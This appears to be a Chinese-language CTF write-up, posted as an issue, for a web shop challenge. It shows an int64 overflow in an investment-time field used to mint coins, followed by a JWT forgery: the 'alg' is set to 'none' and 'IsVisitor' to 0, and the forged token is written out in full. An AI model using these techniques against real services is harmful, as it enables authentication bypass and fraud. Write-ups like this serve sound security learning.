-
Notifications
You must be signed in to change notification settings - Fork 1
Description
题目链接:http://share-dmhy.two.moe:8081/
先随便注册一个账号,F12 查看发送的请求。
注册完登录进去,在商城的菜单下,我们可以看到一个 买买买 按钮,点击他发现请求的 url 为 http://share-dmhy.two.moe:8081/api/shop/getFlag,然后提示我们说 HDL 太少啦 根本买不起。
HDL -> 海底捞
XLK -> 小龙坎
DLY -> 大龙燚
因此做题思路也就是凑够 2,000,000,000,000 HDL 即可获得 flag 吧....
在汇率目录下知道了三种 coin 的转换比例,在理财市场可以获得 coin,在 coin 市场可以进行兑换。
先把起始给的 5 份 HDL 兑换成 XKL,(因为理财市场只能使用 XKL)
这是 CTF,肯定不是让你好好理财得到那么多的 HDL。
在理财市场发现只能让你数字,猜应该是类型溢出,投资份数 那里有限制,但是 投资时间 没有限制。 int64 最大,从大往小试一下,2 ^ 63 - 1。
2 ^ 63 - 1 = 9,223,372,036,854,775,807
emmmmm,在投资时间输入 9,223,372,036,854,775,807,购买一份 XKL,购买成功,一份不够再来一份。
接着去 coin 市场将 XKL 换成 HDL,获得足够的 HDL,再去买 flag,提示你 访客用户不可购买商城商品。
其实在注册登录的时候我们发现他使用的 JWT Token 授权认证(loginToken)。
(第一次做题的时候思路弄错了,一上来就直接怼 JWT,想暴力获得签名,后来发现想多了,没必要那么做。
通过 Chrome 插件获得 loginToken
loginToken =
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.
eyJJc1Zpc2l0b3IiOjEsIlVzZXJJZCI6ImRmUVBIQkxxIiwiVXNlcm5hbWUiOiJ0ZWNoaWFsIn0
.
v1Woj-YM5BURaETyCJqmHKRFVxftAWPWr--XamaJDpU
通过 Google 发现 CTF JWT 一般都是绕过,有些是暴力签名,有些是修改 jwt 的算法。
将 JWT 第一部分的 HS256 算法改成 none,再重新 Base64 编码。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 -- base64 decode --> {"alg":"HS256","typ":"JWT"}
{"alg":"none","typ":"JWT"} -- base64 encode --> eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=
将 JWT 第二部分 Base64 解码
eyJJc1Zpc2l0b3IiOjEsIlVzZXJJZCI6ImRmUVBIQkxxIiwiVXNlcm5hbWUiOiJ0ZWNoaWFsIn0
-- base64 decode -->
{"IsVisitor":1,"UserId":"dfQPHBLq","Username":"techial"}
根据之前提示的 访客用户不可购买商城商品,修改 IsVisitor 字段,改成 0,并重新 Base64 编码。
{"IsVisitor":0,"UserId":"dfQPHBLq","Username":"techial"}
-- base64 encode -->
eyJJc1Zpc2l0b3IiOjAsIlVzZXJJZCI6ImRmUVBIQkxxIiwiVXNlcm5hbWUiOiJ0ZWNoaWFsIn0=
(记得去掉 =
把两部分 Base64 合并起来,得到 loginToken,最后一个 . 要留着。
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJJc1Zpc2l0b3IiOjAsIlVzZXJJZCI6ImRmUVBIQkxxIiwiVXNlcm5hbWUiOiJ0ZWNoaWFsIn0.
使用 Chrome 修改 cookie 插件修改 loginToken 字段,再次购买即可获得 flag。